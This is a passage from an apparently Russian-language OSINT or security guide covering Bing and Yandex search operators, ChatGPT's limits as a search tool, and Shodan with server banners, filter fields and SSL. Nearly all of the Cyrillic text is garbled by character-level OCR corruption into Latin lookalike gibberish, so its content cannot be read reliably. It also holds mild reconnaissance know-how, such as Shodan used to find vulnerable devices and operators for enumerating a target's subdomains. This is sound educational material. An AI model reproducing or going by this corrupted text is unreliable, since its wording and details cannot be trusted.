JKEH TOJIBKO TOI nHpopMaIlineii, KoTopast COOTBETCTBYET €0 IIeHHOCTSIM U B3TJISIIaM,
HOAPOGHO paccMoTpeHa B pasjesie « [ IpuHIuibl paGoThl MOUCKOBBIX crcTeM» ). st
60OPbOBI ¢ DTUM SBJIEHHEM PEKOMEHIYETCS MCI0JIb30BaTh IIOUCKOBbIE CUCTEMBI,
KOTOPbIE II03BOJISIIOT B M3BECTHOI cTeneHu usbexarh 910l mpodaemsl. OHU uc-
nosib3yioT 6asy ganubix Google, ogHako Baim 3apockl GyyT AHOHUMU3UPOBAHBI,
YTO MO3BOJIUT U30EKATh OTCIEKUBAHIS M CO3/IAHUSI TTY3bIPs, XOTSI PEJIEBAHTHOCTD
PE3YJIBTATOB TIPU 9TO MOKET CTPANAT.

BOT HECKOJIBKO TAKUX IIOUCKOBBIX CUCTEM:
e Mozbot.com;
e Lukol.com;

e Startpage.com.
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Bing

ITO elle OIHA TMOTYJISIPHAs TIONCKOBAst CUCTEMa, IOCTYITHAS TI0 aapecy bing.com.
CaonMm nosiBeHreM oHa obs13ana kopropaimu Microsoft, kotopast paspabaTbiBaet
U CaMyIo TIOIYJIAPHYIO OIePAllMOHHYIO CUCTEMY /IS JJOMAIIHUX 110JIb30BaTeei
Windows. VIMeHHO IJI0THASI MHTErpaiiuy OlepalioHHol cucteMbl 1 Opaysepa Edge
C TOMCKOBOM MamunHoi Bing 1 mpuHecsu ocsaeHeil HeKOTOPYIO MOIYJISIpPHOCTb. He
OyzeM 1oApoOHO OCTaHABIMBAThCA Ha paboTe ¢ Bing, Tak Kak IPUHIIMIIBI TIOMCKA
B Hell ocraiorest TeMu ke, uTo 1 B Google, puBeseM JIUIIb OCHOBHbBIE OTIEPATOPHI
JUIS1 PAaCIIPEHHOro [IOMCKA:

® +IIpUMEHAETCA /14 BbIBOJA TOJbKO T€X CTPAHUIL, KOTOPbIE COAEPKAT YKasaHHbIE
II0CJIe oIlepaTopa CJI0Ba, HAIIPUMeEP virus +covid,

e " " UCTOJB3YeTCs I MONCKA TOYHOTO COBIA/IEHNS C YKa3aHHON B KaBBIYKAX
(pasoii, HarrpuMep "KoMmrblTepHbId BUpYC";

e filetype mosBoJsieT ykasath tuil (aiiina (doc, pdf, ppt u . 1.). Tlouck xkHuUTH,
nocsernoi kali linux, MoskeT GbITh OCYIIIECTBIIEH TP TOMOIIH 3arpoca kali
filetype:pdf;

® NOT MM - MCKJIIOYAeT U3 IIOMCKa CTPaHUIIbI, COZEPIKAIILNe CJI0BO, KOTOPOE HaX0-
JIUTC II0CJIe ollepaTopa, Harpumep virus NOT covid uin virus -covid,

® AND WJIM & MCTIOJIb3YETCS JIJIST CBSI3BIBAHUSI, HATTPUMED, €CJIU MBI XOTUM YTOUHUTD
HAlll 3aIIPOC TI0 MOBOAY Torcka KHuru 1o Kali linux, go6asum atot omeparop
7 moay4ynM kali AND book filetype:pdf;

® ORJIormyeckoe «uin». [IpeanosoKuM, 4To Mbl XOTHM HaiiTh 00yJaroliye MaTepu-
asibl 110 Docker — 1 yTouHeHMs 3a1ipoca BOCIIOIb3yeMcs KOHCTpYKIneil docker
book OR cource OR training;

e () omepatop rpynnupoBku. I1o3BosseT HaXOAUTh CTPAHUILBI, COepKaIlle BCe
yKazaHHBIE CJIOBA B JTIOOOM TOPSJIKE, W UCKITIOUUTH UX U3 TIOUCKA B CJAyYae
HCIIOJIb30BaHUs ¢ orepaTopomM NOT. Eciii MbI XOTUM HallTH CIOCOO IOJIyYeHIs
npas aiMUHUCTPaTopa B iPhone, Tora Halll TOUCKOBBII 3aITPOC MOKET BBITISIETH
caeytonum o6pasoM: iphone (root jailbreak get).

Heo6xoauMo 3aMeTUTh, 4TO, KaK CKazaHO Ha O(GUIMAIbHOM caiiTe KOMIAHUK
Microsoft, He Bce nepeunciernbie GyHKIMNU MOTYT paboTaTh Be3/ie, eCTh OTpaHnye-
HUA 110 peTuoHaM. KpOMe TOTO, ITOUCK OCYHIECTBJIAETCA TOJIBKO 110 IIEPBLIM I€CATH
IapaMeTpam, a BCe 0CTaJbHOe UTHOpUpYyeTcst. MoskeT, uMeHHO 110aToMy ecTh Google
Hacking Database, Ho set Bing Hacking Database?

BosHukaeT pe3oHHbII BOIIPOC: eciu IoKCKoBas cucrteMa Google nmpesocxoaut cBoux
KOHKYPEHTOB, 3a4eM HaM TOT/la paccMaTpuBaTh Apyrue? OTBeT JOCTATOYHO TIPOCT:
BO-IIEPBbIX, HU O/(Ha 6a3a JaHHbIX He ABJISIETC M0JAHOM, a Bing ucnosbsyer cobpaH-
HbI€ CaMOCTOATEJIbHO JaHHbIEC, 1 OHU MOTYT OTJINYAaTbCA OT TEX, YTO €CThb y Google.
BO-BTOprXy HCIIOJIb3OBaHMNE€ HECKOJIbKHUX ITOMCKOBBIX CUCTEM MOJKET CHU3UTD BEPOAT-
HOCTb TIOSTBJIEHUS] TH(OPMAIMOHHOTO Ty3bIpst. B-TpeThux, y Bing ecth oneparopsl,
KOTOpbIe 0TCYTCTBYIOT B Google. 11 HakoHell, Ba)KHO paHKUPOBaHUE — Y PasHBIX
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ITOMCKOBBIX CUCTEM Pa3Hble aJITOPUTMBI Pa3MeIleHNs CTPAHUIL B pe3yJbTaTax I10-
HCKa, TO9TOMY TO, 4TO B Bing sie;kut Ha oBepxHocTH, B Google MokeT HAXOMUThCST
B KOHIIE CITCKA BbIIAYN.

Ectpb Ba OCTATOYHO MHTEPECHBIX PECYPCA, KOTOPbIE MTO3BOJISIIOT CPABHUBATH T10-
uckossle Bbigaun Bing u Google. Ilepsblii 13 HUX JOBOJBHO IPOCT — bvs.org, a BOT
advange.com TI03BOJISIET CO3/IaBATh ¥ CPABHUBATH BbIJIAUM JIa’Ke PACITUPEHHBIX 3a-
MIPOCOB, CUHTAKCIIC KOTOPBIX He TIOJTHOCTBIO COBITA/IaeT.

CosceM HegaBHO Kopropaiust Microsoft o6bsiBuza 06 MHTErpayuy CBOEH MOuC-
KOBOII cucteMbr Bing ¢ uckyccrsennbim nnresuiektom ChatGTP (Chat Generative
Pre-trained Transformer). HecMoTpst Ha TO 4T0 aBTOpP caM ObLI B BOCTOPIe OT 9TOTO
NPOLYKTa, BCE 7K€ TIPU3BIBAIO BAC OBITH MAKCUMAJIBHO OCTOPOKHBIMU M COXPAHAThH
KPUTUYECKOE MBIIIJIEHHUE TTPU €T0 UCTIOTb30BAHWH.

ChatGPT xak sI3bIKOBast MOIeJTh, 0OyUeHHAsT Ha OTPOMHOM KOJIMYECTBE TEKCTOBBIX
JAHHbIX, MOJKET UCTIOIb30BATHCSI [17IsT BHITTIOJIHEHS PA3IMIHBIX 33714, B TOM YHCJIE JIJIS
06paboTKU €CTECTBEHHOTO s13bIKa U Moncka wHpopMarnu. OHAKO UCTOTb30BAHNE
ChatGPT B kauecTBe TIOUCKOBOI CHCTEMBI TIOPOKAAET OIPE/IeIEHHbIE IPOOJIEMBL:

e Orpanuyennocts obaactu noucka. ChatGPT paGoraer Ha ocHOBe aHaJIM3a
U MOHUMAHUS TEKCTOBBIX JAHHBIX. JTO 3aTPYAHSET MOUCK WHMOOPMAITIH 3a ee
peiesiaMu, HallpuMep, BU3YalbHbIX 3JIEMEHTOB UJIH JIAHHBIX B 6a3aX AaHHBIX;

e Huskag Tounoctsb orBeroB. Xorsa ChatGPT 10B0oJIbHO XOPOILIO IOHUMAET ecTe-
CTBEHHBIH S3bIK, TOYHOCTb MPEJOCTABISIEMbIX UM OTBETOB MOXKET 3aBUCETH OT
KayecTBa BOIIPOCOB, 3aJJaHHBIX MMOJIb30BaTeieM. Eciu mocTaBiieHHBIN BOITPOC
(hopMyTUPYETCsT HEYETKO MJIH UMEET HECKOJIBKO BO3MOKHBIX 0TBeTOB, ChatGPT
c11ocoOeH JJaTh HETOUHBIIA OTBET MJIM OTBET, KOTOPbII HEe OTHOCHTCS K TOMY, 4TO
10JIb30BATEIb MCKAI;

e Henocrarounas o6yuerroctb. ChatGPT MoskeT He MMETb I0CTaTOYHbBIX 3HAHUI
B OIIPEEJICHHON 001aCcTH, U 9TO CHUXKAET ero aP(EKTUBHOCTD B KA4ECTBE 110-
HCKOBOM CUCTEMBL. ITO OCOOEHHO BayKHO IIPU MIOKCKE B CIIEIUATN3UPOBAHHBIX
00J1acTSX 3HAHMS, TAKMX KaK HayKa WK MeIUIIMHA;

e OrpanuyenHocTb B 06paborke 3anpocos. ChatGPT orpanuyen B KoJudecTBE
3aIpOCOB, KOTOPbIE OH MOKET 00paboTaTh 3a OMpe/eeHHbIH TePUo/ BPEMEHH.
Ecnu MHOTO JI0/1eil oiHOBpeMeHHO uctob3yioT ChatGPT kak mouckoByto
CUCTEMY, TPOU3BOIUTEIBHOCTD CHUKAETCS, W MTOJTH30BATEN MOTYT TIOJyYaTh
OTBETHI C 3A/IEPIKKOIL.

Taxum o6pasom, ucriosnbzosanrie ChatGPT B kayecTBe TIOUCKOBOI CHCTEMBI MOXKET
GBITH TIOJIE3HBIM, OJIHAKO CJIEYET YUUTHIBATE, UTO M3-3a OMPEICTECHHBIX OTPAHIYEHUIT
OH He Bcerjia MOKeT ObITh 3h(heKTUBHBIM B PEILIEHIN BCEX 3a/1a4 TIOUCKA HH(DOPMAITUHL.

Yandex

Sunexc (Yandex) — aTo mouckoBast cucrema, cosfaitas B 1997 roxy ogHOMMEHHOI
poccuiickoit kommnanueil. OHa SBJSETCS OHON U3 CAaMBIX TTOIYJISIPHBIX TTOMCKOBBIX
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cucrem B Poccun u ctpamax 6uiBiirero Coserckoro Coioza 1 3aHUMaeT BTOPOe MECTO
o nomyJisspaoctu nocae Google.

Kak u Apyrue nmoncKoOBbIE€ CUCTEMDI, HHI[GKC IIO3BOJIAET II0JIb30BaTE/AM NCKATh MH-
d)OpMa]_H/IIO B MHTEPHETE 110 KJIIOYEBBIM CJIOBaAM. O[[HI/IM 13 BAKHBIX TPEUMYTIIECCTB
HHIIGKC& SIBJISIETCA €T0 JIOKAJIM30BAHHOCTD U alallTallvd K PYCCKOA3bIYHOMY PBIHKY.
ITa II0MCKOBasd CUCTEMa CIIOCOOHa O6pa6aTbIBaTb CJIOKHBIE 3alIPpOChl Ha €CTECTBEH-
HOM 3bIKE€, a TaKKE€ YUUTbIBACT TaKN€ JIOKAJIbHbIEC (baKTOpr, KaK reorpa(bw{e(:Koe
IIOJIOJKeHMe I10JIb30BaTeJIA.

KpOMe TOTO, Anrmexc akTuBHO Pa3BUBACT TEXHOJOTUN UCKYCCTBEHHOTO MHTEJIJICKTA
1 MaIllIMHHOTO O6y'-IeHI/IH. ITO TO3BOJISIET ITONCKOBOI CUCTEME aHaJIM3npoBaTh 3a-
IIpOChI 10JIb30BaTesell 1 npeaJjaratb naunboJee PpesI€BaHTHBIC PE3YJIbTAThI, a TaKKeE
yJjaydiiaTb Ka4€CTBO CBOUX CEPBUCOB.

Kak u B IpyrUx MOUCKOBBIX CHCTEMAX, B SIHIEKCE eCTh CBOU ortepaTtopsr: lang, ckob-
ku, Boolean n zp. /lasee mo3HAKOMUMCS € 9TUMHU ONEPATOPaMK U MIPUMEPAMH UX
HCITOJIb30BAHMSI.

OmnepaTop + paboTaeT 0AMHAKOBO BO BCEX IIOMCKOBBIX crcteMax. OnepaTop KCIo/Ib-
3yercst JI7ist 0003HAUEHUST CIIE/LYIOTIETr0 32 HUM KJIFOUEBOTO CJI0BA KaK 00s13aTEIbHOTO,
TO €CTh TAaKOTO, KOTOPOe CTPAHUIIBI HETTPEMEHHO JIOJIKHBI cosiep:kaTh. [Ipumep 3a-
mpoca: osint + tools.

[l ucKIIoYeHn KII0UeBOTo CJI0Ba U3 MOMCKA UCIIOIb3YETCS OTIePaToOP ~~, KOTOPBIN
IIPUMEHAETC, €CJAU Mbl XOTUM ITOJIYYUTDH CTPAHUIIBI, HE COZEepKallNe YKA3aHHOTO
CJIOBa, KaK B CJIy4ae KynuTb TenedpoH B MOCKBe ~~ iphone.

B xauecTBe oneparopa HE UCITOJTB3YETCST U €/IMHUYHAS TUJIb/A ~. B oTsinume ot rmipe-
JIBITYTIIETO TIPUMEPA, B KOTOPOM TIOMCKOBAast CUCTEMA He BBIJIAET CTPAHUIIBI C KITIOUe-
BBIM CJIOBOM «iphones, Ipy UCII0JIb30BaHUY eJMHUYHON TUJIb/IbI IIOMCKOBAs CHCTEMA
MOJKET BEPHYTb CTPAHUIIBI, COZEPIKAIINE YKA3aHHOE CJIOBO, OJTHAKO MCKJIIOYUT U3
Pe3yJbTaTOB TIONCKA T€ CTPAHUIIBI, HA KOTOPBIX KOHCTPYKITUS «KyTUTD TesedoH
B MOCKBE» U CJIOBO «iphone» OyyT BCTpedaThCst B OJHOM IIPEIJIOKEHHUH,

Oriepatop && UCHOJIB3YETCS, €CIM HYKHO TTOJYYUTh CTPAHUIIBI, HA KOTOPbIX BCTpe-
qaloTCst 00a YKa3aHHbBIX CJI0BA, HATIPUMED: npumep && xss. B ¢Boo ouepes omepa-
TOP & YKa3bIBaeT Ha TO, YTO 00a KJFOUEBBIX CJIOBA JOJIKHBI BCTPEUATHCS B OJHOM
TIpeIJIOKEeHIH.

OueHb UHTEPECHDIM /IJII TOCTPOEHUS 3AIIPOCOB SIBJISIETCS ONEPATOP /, KOTOPBIN
umeet ananoru B Google (AROUND) u Bing (Near). C ero moMOIIbIO Bl MOKET yKa-
3aTh, HA KAKOM PACCTOSTHUM JIPYT OT APYTa OJKHBI HAXOAUTHCS KIIOUEBbIE CIT0BA
Ha cTpaHuile. Tak, maltego /2 npumep yKa3blBaeT Ha TO, YTO KJOUYEBOE CJIOBO
«TIpUMEP» OJIKHO HAXOAUTHCS Ha PACCTOSTHUH JBYX CJIOB OT KJIIOUEBOTO CIOBA
«maltego».

I — OTIepaTop TOYHOTO COBIIQ/ICHUI. ITonckoBbie cucTeMbl MOTYT 1O/IyMbIBATh CJI0Ba
3a BaC, HAIIpUMED IPU TTOUCKE 110 KJIIOYEBOMY CJIOBY «port» B pe3dyJabTaTax MoABUT-
Cs TaKiKe «portainer», HO TIpU 3alpoce C UCII0JIb30BaAaHNEM YKAa3aHHOTO OIiepaTopa
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(!port) BbI MOJIyYNTE TOJTBKO T€ CTPAHUIIBI, HA KOTOPBIX BCTPEYAETCS NCKIIOUNTEIb-
HO MCKOMOE CJIOBO «pPOTt».

[l rpynimipoBky, kKak u B Google, nctonbaytorcest kpyribie ckobku (). ITompoGyem
006BeIMHUTD HECKOJIBKO PACCMOTPEHHBIX ONEPATOPOB JIJIst CO3/IaHKs TIOUCKOBOTO
3ampoca: maltego && (+example | !usage). BBomuTcst HOBBII, ellle He PaCCMOTPEH-
HBIIT OITepaTop, HO BbI y)Ke HaBEPHSIKA JIOTa/IaTUCh O €T0 Ha3HAYeHUH — JIOTHYECKOe
NJIN. Ecyii MbI 3aX0TUM HaliT 00y uatomuii kypc 1o python 8 Mockse win CaHKT-
ITerepGypre, TO, BEPOSITHO, HATIUIIIEM 3a1IPOC ob6ydeHne python mocksa | caHkT-
netepbypr.

* — orepaTop, BCTPEYaoNUICcs B APYTUX MOUCKOBBIX CUCTEMAX C aHAJIOTUIHBIM
yHOTpe6JIeHI/IeM. On 3amenser mo0Oble KJIIOYEBbIE CJI0BA; HAIPUMED, €CJIU MbI He
IIOMHUM TOYHOE OIIpeIesIeHNe, a 3HAEM JIIITh HEKOTOPBIE CJI0BA M3 HETO, TO HAITUIIIEM
COOTBETCTBYIOIIUH 3aMpoc: pi-agpec aTo * B ceTu.

title: mo3BossIET IIPOBECTU IMTOMCK KJIIOYEBOT'O CJ0BA B 3aroJIOBKe CTpaHUI[bI.
url: 1mo3BoJiger IIPOBECTU ITOUCK KJIIOYEBOI'O CJI0OBa B url CTPAaHUIIBI.

SHpekc, Kak U Apyrue TMONCKOBbIE CUCTEMBI, YMEET UCKATDh (DailjIbl ONpeeIeHHOTO
THUIIA, HO B OTJIMYUE OT APYTHX MCIOJIb3YeT COOCTBEHHBIN onepaTop mime:. ITouck
(aiina Exel ¢ oTueTaMn MOKHO COCTaBUTH TaKMM 0Opa3oM: oT4yeT mime:xls. IToj-
JIEPIKUBAETCA MOUCK 110 pasibiM Tuniam (aiinos: pdf, rtf, swif, doc, xls, ppt, docx, pptx,
xIsx, odt, ods, odp, odg.

Cuetyiotiye HeCKOJIBKO OTIePATOPOB IIOMOTYT BaM OTPAHUYUTH OUCK MHMOPMAITNN
TOJIBKO I10 pecypcam, IPUHAJIeKAIMM KOHKPETHOH uccieryeMoil tHGPacTpyKType,
UX B GOJIBIINHCTBE CTYYAEB U MCTIOMB3YIOT CIIENUATINCTHI TT0 HHMOPMATHOHHOTT 6e30-
nacuoctu. Tak, oriepaTop host: orpaHMyYUT IIOMCK 110 Olipe/ie/IeHHOMY XOCTy: login
host:usatoday.com. Oneparop rhost: MPOUHCTPYKTUPYET MMOUCKOBYIO CHCTEMY
OCYIIECTBUTH TOUCK 110 obparibiM DNS-3anucsiM: login rhost:com.usatoday. *.
Omeparop site: MOMOXKET € TIOUCKOM BCEX CYGOMEHOB MHTEPECYIONIETO BAC TOMEHA.
ITO OYEHDb Ba)KHO TIPU UCCJIE0BAHNH 11eJIeBON MH(MOPMAIMOHHON crucTeMbl. YacTo
UMEHHO B Cy0IOMEHAX PACIIOJIATAIOTCST HAMMEHEE 3alUIIIEHHbIE CHCTEMbI, TAKHE KaK
TECTOBBIE CPEJIBI JIJIsT Pa3pabOTUNKOB WK CTapble Bepcuu caidtoB. Eiile oun orepa-
TOP, Ha KOTOPBIil CTOUT 06PATUTh BHUMAHNE, 3TO domain:, IMEHHO OH OTPaHIYNBAET
TOVMCK KOHKPETHBIM IOMEHOM, TTPUYeM JII0O0TO YPOBHSI.

MHuTepecHblil onepaTop, KOTOPbIA BBeJIM pa3paboTunkn JHuaeKcKa, — cat:, 03BOJIs-
IOIINT OCYTIECTBIIATH TTOUCK T10 caliTaM OTPe/IeIeHHON KaTeTOPUM 1, COOTBETCTBEHHO,
HCKJII0YaTh BCe OCTaJIbHbIE.

Mbl paccMOTpesH ajieKo He BCe OllepaTophbl, MO3BOJISAIONINE ceaTh paboTy 1o
HOKMCKY MHMOPMAIMK MeHee TPy103aTpaTHO. X0Tst aBTOp cTapajics mogodparhb Hau-
6oJiee YaCcTO BCTpeYaeMble KOHCTPYKIINH, BCE K€ OCTATI0Ch MHOTOE, YTO BaM TIPHUIETCST
CaMOCTOSTE/NbHO U3YUUTh, OJIATO st KAXKOU U3 YIOMSIHYTHIX IIOMCKOBBIX CHCTEM
ecTb o0IIeJoCTyIIHas JoKkyMeHTalus. Ho gake sTHX 3HAHMIT BaM XBaTUT JIJIs TOTO,
4yT06bI HAYaTh PabOTaTh B pasbl ahherTrBHEE U CBOOOAHO IIPUCIIOCAOIUBATD 3AIIPO-
CBI, HATTMICAaHHBIE /IJIS OZTHOW TTIOMCKOBOH CUCTEMBI, K JIPYTOH.
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B COBPEMEHHBIX pEaTNAX KOJTNIECTBO ZIOCTyHHOfI I/IH(l)OpMaLII/II/I C KaK/IbIM 9aCOM
CTaHOBMUTCA BCe 60]Ibl_[I€, II09TOMY yM€HNE pa6OTaTI) C Heﬁ, HaXoAuTb HYKHOE, OT/i€e-
JIATb OecII0Ie3HbLI ITyM OT IHEHHBIX /IaHHBIX CTAHOBUTCA H€O6XOZII/IMI)IM JKHU3HEHHO
Ba’KHbIM HaBbIKOM, KOTOprfI cJlefyeT IMMOCTOAHHO pa3BUBATbD.

Cneuwnan N31UPOBaHHbIE NMONCKOBbIE CUCTEMDI

IMouck yskocHemaIn3npoBaHHON WHMDOPMAIIN, 0COOEHHO €CJIU PeUb HIET O TEXHU-
YECKMX JIaHHBIX, MOJKET ObITh CYIIECTBEHHO 3aTPYAHEH IIPU UCIIOJIb30BAHUN OOBIYHBIX
HOMCKOBBIX CUCTEM, Bellb OHM U OBLIM CO3AaHbI A5 Apyrux 1ejaeil. OqHako mpo-
rpecc He CTOUT Ha MeCTe, ¥ MTOCKOJIBKY €CTh CIIPOC, TO eCTh U Tipesiokenne. B Cetn
CYIIECTBYET HECKOJIBKO MMOMCKOBBIX CHCTEM, OCHOBHOM 3aaueil KOTOPBIX STBIISIETCST
cbop texunueckux gaHHbix VC. Takske OHU PEIOCTABIISIOT BO3MOKHOCTD YI0OHOTO
nowucka 1o cobpannoii uadopmannn. Heo6XoaumMo OMHHUTD, 4TO, KaK 1 B OObIYHBIX
MTOMCKOBBIX CHCTEMAX, JIAHHBIE JTAHHBIE MOTYT OKa3aThCsl yCTAPEBINUMU, BE/Ib TIOUCK
IIPOUCXOUT 110 paHee cOOPAHHOI 1 IIPOUHAEKCUPOBAHHOM Oase JaHHBIX.

Shodan

[TepBoii U3 cIENUATM3UPOBAHHBIX MOMCKOBBIX cricTeM paccmorpuM Shodan. Shodan
noxoska Ha Google uim Bing, ojiHako mpejicTaBbre, 4TO Bl XOTUTE HAWTH HE MPeJ-
CTaBJIEHHYIO Ha caiite opranuzainuu HHGOPMAIUIO, a KOITHYTh HECKOJIBKO TIyOKe
U MMPOAHAJIU3NPOBATH TEXHUYECKUE XaPAKTEPUCTUKH 11€JIEBOU CUCTEMBl — y3HATh
BEPCHUI0 YCTAHOBJIEHHOTO MTPOTPAMMHOTO 00€CTIeUeH s WU TPOBEPHUTD CETh Ha Ha-
mnarie FTP-cepBepa ¢ aHOHUMHBIM f10cTyTIOM. OOBIUHbBIE TIOMCKOBbBIE CHCTEMBI HE
MO3BOJISTIOT ATOTO ¢/le/IaTh, a BOT Shodan — mo3BosisteT.

Shodan crerpanusupyercs Ha OUCKe TeXHUYECKON, HEBUANMON 0OBIYHOMY I0JIb-
30Baresio MHGOPMAIMN O MOAKIIOYEHHBIX K MHTEPHETY YCTPOWCTBAX, U €€ TAKKe
Ha3bIBAIlOT «GOOgle [JI XaKEpPOB». B OT/INYNE OT TPa/IMIITMOHHBIX ITIOMCKOBBIX CUCTEM,
Shodan mmer He Be6G-cTpaHUIBI MM KOHTEHT, a METaaHHbIE YCTPOICTB U CUCTEM.
Shodan mMoskeT 1OMOYb CrIenUaIMCcTaM 110 O€30IACHOCTH, UCCIEA0BATENSAM 1 XaKepaM
HAiiTH ySI3BUMbIE CHCTEMBI, BbISBUTH He3alllMIIeHHbIE CETH 1 coOpaTh MHMOPMAIUIO
O ITIOTEHIIMAJIbHBIX ITeJIAX.

OpHoit 13 ocHoBHBIX (yHKIMI Shodan saBisiercs uaeHTUGUKAIMA U KIaccurKa-
IIUST YCTPOICTB U CUCTEM, TIOJKIIOUEHHBIX K MHTEPHETY. Clo/1a BXOJSIT KOMITBIOTEPDI,
cepBepbl, MAPUIPYTU3AaTOPbI, BeO-KaMepbl, IPOMBIILLICHHbIE CUCTEMbI YIIPABJIEHUSI
1 MHOT'ME Jpyrue TUIbl yeTpoiictB. Shodan mosBoiser 1moJb30BaTe/IsIM UCKAaTh 9TH
YCTPOICTBA HA OCHOBE PA3JTMYHBIX MAPAMETPOB, TAKUX KaK reorpahudeckoe moJio-
JKEeHUE, OTIePaIlMOHHAs CUCTEMa, OTKPBITBIE TIOPTHI U MHOTOE JIPYTOE.

Eute oxnoit Baskuoit pyukumeii Shodan gsiisgercs BbigB/IeHUE YI3BUMOCTEN U IIPO-
6s1eM 6e30TIaCHOCTH B YCTPOICTBAX, MOAKMIOYEHHBIX K MHTepHeTy. Shodan MoxHO
MCIIOJIB30BATB JIJISI TIOUCKA YCTPOHCTB, KOTOPbIe UMEIOT N3BECTHBIE YSI3BUMOCTH WU
HeMPaBUIHHO HACTPOEHDI, UTO JleJIaeT MX GoJee YA3BUMBIMU I aTak. Takum o6pa-
30M, Shodan MOJKHO MCTIOJTB30BATH KaK MHCTPYMEHT JIJIsT CIIETIMATHCTOB TI0 Ge30mac-
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HOCTHU ITPU BBIABJICHNN N CHUKEHUN PUCKOB 6630HaCHOCTI/I, a TaKyKe€ KaK THCTPYMEHT
U XaKEePOB ITPU HAXOKAEHUN ITOTEHITNAJIbHbBIX HeJIeI;'I JJIA aTakK.

ITonckoBas cucrema OOCTYITHA TI0 a/Ipecy shodan.io n IIpeaIaraeT ImoJib30BaTeIsAM /IBE
BEpCUMN — IVIAaTHYIO 1 6eCHJIaTHyIO. B GecriaTHOll ecThb OrpaHn4YeHne Ha KOJIMYECTBO
IIpOCMaTPUBAEMbIX PE3YJIBTATOB, HO JIJII HAINX 1eJieil BIIOJIHE XBAaTUT U €€,

Jlis Hawasia poBeieM KPaTKuil 9KCKYPC B CTPYKTYPY JaHHbIX, Pa3bepeMcst ¢ OCHOB-
HBIMU TTOHATUSMU.

BbaHHep

Barnep — 910 OCHOBHOI THIT IAHHBIX, ¢ KOTOPBIM pabortaet Shodan. Banuep ciryx6bI,
TaKsKe M3BECTHBII Kak GanHep cepBepa (MTPUIOKEHVST UM CEPBIICA), TTPEICTABIISIET
co6oii coobirerHne, BO3BPAIaeMOe CETEBOM CIIysKOO0i TIPH MEPBOM TOIKIIOUEHUH K Hell
KmenTa. Bamrep 06bIaHO CoMepskIT MHPOPMAIUIO O BEPCUU TPOTPAMMHOT0 obecrieue-
HYsT, pabOTAIOTIETO HA CEPBEPE, & TAKIKE IPYTHE CBENEHIS O CITYKOE MITH TIPUTOKEHUH.

Cuyskebuble GaHHEDBI IPELOCTABIIIOT MOAE3HYI0 NH(OOPMAINIO I CHCTEMHBIX
AMIHUCTPATOPOB U CIIEIMATNCTOB TI0 HE30TTACHOCTH, TIOCKOIBKY OHI MOTYT TOMOYb
OTPE/IETTUTH TUT U BEPCUIO TIPOTPAMMHOTO 06ecTiedeHust, paboTalolero Ha cepBepe.
IJra I/IH(I)OpMaL[I/IF{ MOXKeT 6bITb HNCIIOJIb30BaHa /11 BbIABJIEHWA ITOTEHIIMAJIbHBIX
YS3BUMOCTEN.

OpHako GaHHEPBI TaKKe ABJIAIOTCA YIPO30i GE30MACHOCTH, €CJI OHU TIPEIOCTaB-
JISTIOT CJTMIITKOM MHOTO WH(OPMAIMK O MPOTPAMMHOM 00€eCcIiedeHIH, PabGOTaONIEM
Ha cepBepe. ATaKyIoIIie MOTYT UCIOJb30BaTh Ty NH(MOOPMAIIUIO JIJIST BBISBIEHUS
YSI3BUMOCTEH MJIU TIOMCKA OMPEIEIEHHOTO TPOTPAMMHOTO 00eCeYeH s, ySI3BUMO-
ro Juist atak. 1o 3TO# NpUUYMHE MHOTHE 9KCIEPTHI TI0 OE30MACHOCTH PEKOMEH/YIOT
OTKJIIOYATD WM MOAM(PHUIIMPOBATH CIyKeOHbIe GaHHEePHI, YTOOBI MPETOCTABIATH
MUHIMAJIBHYIO HHHOOPMAIIIIO O CEPBEPE N TPUIOKEHUH.

Ipeacrasum Tunuanbii HTTP-6antep:

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html

Server: Microsoft-IIS/10.0

Set-Cookie: ASPSESSIONIDSACRSADQ=EPGNLCICIDIHBMBMJJCMLABK; path=/,
SameSite=None;path=/; HttpOnly;secure;

X-Powered-By: ASP.NET

p3p: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC
NOI DSP COR'

Date: Wed, 15 Feb 2023 17:21:00 GMT

Content-Length: 119

3 moJiy9eHHBIX JJAHHBIX MOKHO 3aKJIFOUNTH, 4TO CEPBEP PabOTAET MO/ YITPAaBICHUEM
Microsoft-11S Bepcun 10.0, a 115t cosmanmst caiita HCIIOIb3YETCS TEXHOJIOTHS Active
Server Pages. bantepbl MOKHO MOJYYUTH HE TOJIBKO OT BeO-CEPBEPOB, HO TaKKe
or FTP, SMTP, SSH u apyrux cepsucos. Shodan noiepskusaer usbrpariuio mo
MHOKeCTBAM II0JIel, Cpeid KOTOPBIX:
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data (ocroBHuas uadopmarus — HTTP /1.1 200....);
ip (IP-ampec B nienouncientom opmate 15826581);
port (HOMep mopTta — 54);

hostnames (ums xocTa, Haripumep webmail);

os (omeparmonHas cuctema — Linux).

SSL

SSL (Secure Sockets Layer) obecrieunaer 6e30MacHOCTh MHTEPHET-COEIUHEH I
U He TT03BOJISIET MOCTOPOHHUM YUTATD WJIA U3MEHSATH MH(MOPMAIINIO, TIepe/laBaeMyio
Mesxxy AByMs cucteMamut. [{ludposoit SSL-ceprudukar yzocrosepsieT motmiHHOCTD
BeO-caiita 1 obecrieunBaet 3amndpoBaHHOE coelnHeHre. B HacTosIIIIee BpeMst TPY/I-
HO MIPEJICTABUTD cebe CePBIC, KOTOPBIN ObI He UCTIOIB30BaJ M PoBaHie (XOTs OHU
BCe JKe BCTPEYAIOTCsT), TO BAsKHO HE TOTBKO JI7Tst obecieueH st 6e30MacHON KOMMYHH-
Kal[¥, HO U C TIEJIBIO TIPOJIBUIKEHUS B TIOUCKOBBIX CUCTEMaX; Tak, Google yixe maBHO
MOHVZKAET PEUTUHT CTPAHMUIL, HE UCITOIB3YIONTUX 9Ty TEXHOJIOTHUIO.

Korna Be6-Opaysep MOAKIIOUAETCS K BEO-CEpBEPY ¢ IOMOMIBIO SSL, IIepBhIM Iarom
SIBJISIETCST YCTAHOBJIEHIE GE30MACHOTO COEIMHEHUST MEsK Ly HuMU, Pykomoskarue SSL
(handshake) — aro nporecce, KOTOPBII MPOMCXOAUT MEKIY Beb-OpaysepoM 1 BeO-
cepBepoM, KOrJja OHU BIIEPBbIE YCTaHABAUBAIOT GesomacHoe coeaunenye. IIpomece
pykonoskarust SSL npeHasHaueH [7ist obectiedeHst Ge30acHO cBsi3u BeO-Gpaysepa
u BeG-cepBepa, a TaksKe JJIs YCTAHOBKY ITAPaMETPOB 9TOi 6e301aCHOMN CBSABHL.

